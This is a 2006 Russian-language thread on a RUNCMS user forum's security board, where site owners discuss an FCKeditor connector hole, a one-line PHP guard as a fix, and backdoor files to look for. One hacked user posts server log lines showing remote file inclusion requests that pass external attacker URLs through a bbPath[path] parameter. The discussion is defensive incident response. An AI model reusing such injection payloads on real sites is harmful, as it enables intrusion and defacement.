Сайт сообщества | Клуб пользователей | О проекте

Имя
Пароль
ПравилаРегистрацияСправка
Сообщения за деньПоиск

Вернуться   Клуб пользователей портальной системы RUNCMS > Портал > Безопасность

Ответ
 
Опции темы Опции просмотра
SVL вне форума SVL
Младший участник


| Цитировать Старый #1 02-10-2006, 17:25

Сегодня утром захакан Голландский сайт.
Все кто юзают FCKeditor надо в
class/fckeditor/editor/filemanager/browser/default/connectors/php/connector.php
выше 22 строки вставить строчку
PHP код:
if (!defined('XOOPS_ROOT_PATH')) exit(); 
или die() с матюком
также надо проверить директорию Upload-a FCKeditor на наличие дверей.
приблизительно /UserFiles/File/suntzuXXXX.php (типа suntzu9983.php, suntzu7971.php и т.д. и т.п.)
Ветка на оф _http://www.runcms.org/public/modules/forum/viewtopic.php?topic_id=3994&forum=26
Оценка сообщения (репутация)
+1 Michael-XIII положительно: За все хорошее!


Желаю, чтобы все!!!
Посетить домашнюю страницу SVL
  Сообщения: 26 c 19.01.2005 | Репутация: 2
iooi вне форума iooi
Участник

Аватар для iooi

| Цитировать Старый #2 02-10-2006, 20:31

Всмысле вот так?

Цитата:
<?php
/*
* FCKeditor - The text editor for internet
* Copyright (C) 2003-2004 Frederico Caldeira Knabben
*
* Licensed under the terms of the GNU Lesser General Public License:
* http://www.opensource.org/licenses/lgpl-license.php
*
* For further information visit:
* http://www.fckeditor.net/
*
* File Name: connector.php
* This is the File Manager Connector for PHP.
*
* Version: 2.0 FC (Preview)
* Modified: 2005-02-08 11:48:55
*
* File Authors:
* Frederico Caldeira Knabben (fredck@fckeditor.net)
*/
if (!defined('XOOPS_ROOT_PATH')) exit();
include('config.php') ;
include('util.php') ;
Где искать директорию Upload-a FCKeditor ? (find-ом поискал, вроде, нет такой бяки)

Последний раз редактировалось iooi, 02-10-2006 в 20:50

  Сообщения: 155 c 12.06.2005 | Репутация: 6
saidnavy вне форума saidnavy
Зам старшего участника


| Цитировать Старый #3 02-10-2006, 20:59

http://www.runcms.ru/modules/news/ar...hp?storyid=306
на поддержке выложено у нас


строительный портал о дверях Dvery.EU
Посетить домашнюю страницу saidnavy
  Сообщения: 363 c 24.02.2005 | Репутация: 7
SVL вне форума SVL
Младший участник


| Цитировать Старый #4 02-10-2006, 22:09

Цитата:
Сообщение от iooi
Всмысле вот так?
да
Цитата:
Сообщение от iooi
Где искать директорию Upload-a FCKeditor ?
если не настраивали, то поумолчанию в корне сайта UserFiles/


Желаю, чтобы все!!!
Посетить домашнюю страницу SVL
  Сообщения: 26 c 19.01.2005 | Репутация: 2
N3v3rmind вне форума N3v3rmind
Младший участник


| Цитировать Старый #5 02-11-2006, 20:28

1)\language\french
у меня такого вообще нет - есть только english и russian. В них нужно что то менять?
2) ВСЕМ:
fckeditor находится:
siteroot/class/fckeditor
по умолчанию в нём находятся:
editor - папка
fckconfig.js.php
fckeditor.php
fckstyles.xml
index.html
license.txt
test.php
В остальных скриптах очевидно могут быть бэкдоры.

  Сообщения: 21 c 28.01.2006 | Репутация: 1
Jurastik вне форума Jurastik
Старший участник

Аватар для Jurastik

| Цитировать Старый #6 02-11-2006, 23:41

и меня поломали не знаю через эту дырку. или нет
создали html файлик и всё...


LaMeRs MuSt DiE
Посетить домашнюю страницу Jurastik
  Сообщения: 539 c 29.01.2005 | Репутация: 10
pan вне форума pan
): ǝҺɐни dиw ɐн иd⊥оwɔ

Аватар для pan

| Цитировать Старый #7 02-12-2006, 05:59

Jurastik посмотри логи


Напильник для RUNCMS
Строим помаленьку
Для гурманов
Мебель для дома
Посетить домашнюю страницу pan
  Сообщения: 4,777 c 15.03.2004 | Репутация: 121
Jurastik вне форума Jurastik
Старший участник

Аватар для Jurastik

| Цитировать Старый #8 02-12-2006, 14:09

закрепил логи за 11 число. посмотрите пожалуйста. кто понимает.
ломанули примерно в 22.00 часа.
хотя может я и ошибаюсь. я новости постил. так что может пропустил этот момент

ЛОГ ФАЙЛИК


LaMeRs MuSt DiE
Посетить домашнюю страницу Jurastik
  Сообщения: 539 c 29.01.2005 | Репутация: 10
Jurastik вне форума Jurastik
Старший участник

Аватар для Jurastik

| Цитировать Старый #9 02-12-2006, 14:17

подозрительное местечко

209.200.60.124 - - [11/Feb/2006:21:16:17 +0200] "GET /modules/newbb_plus/class/class.forumposts.php?bbPath[path]=modules/newbb_plus/class/class.forumposts.php?bbPath[path]=http://www.bugstomper.net/modules/xgallery/cache/albums/stomperalbum/aae.jpg/kill.txt?


LaMeRs MuSt DiE
Посетить домашнюю страницу Jurastik
  Сообщения: 539 c 29.01.2005 | Репутация: 10
Jurastik вне форума Jurastik
Старший участник

Аватар для Jurastik

| Цитировать Старый #10 02-12-2006, 14:22

[11/Feb/2006:21:15:53 +0200] "GET /modules/newbb_plus/class/class.forumposts.php?bbPath[path]=modules/newbb_plus/class/class.forumposts.php?bbPath[path]=http://dabanani.biz/elite.html?

вот ещё и это с одного ip

похоже дыра в форуме. ёпть. у меня версия 0.85... заплатка наверно есть, если есть то где?


LaMeRs MuSt DiE
Посетить домашнюю страницу Jurastik
  Сообщения: 539 c 29.01.2005 | Репутация: 10
Ответ


Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.
Быстрый переход


Рейтинг@Mail.ru Хостинг провайдер Majordomo. Powered by: vBulletin Version 3.0
Copyright ©2000-2025, Jelsoft Enterprises Ltd.
Все разделы прочитаны - Руководство форума - Архив - Вверх
Rambler's Top100
Output: 88.72 Kb. compressed to 81.20 Kb. by saving 7.51 Kb. (8.47%)
Page generated in 0.08039 seconds with 9 queries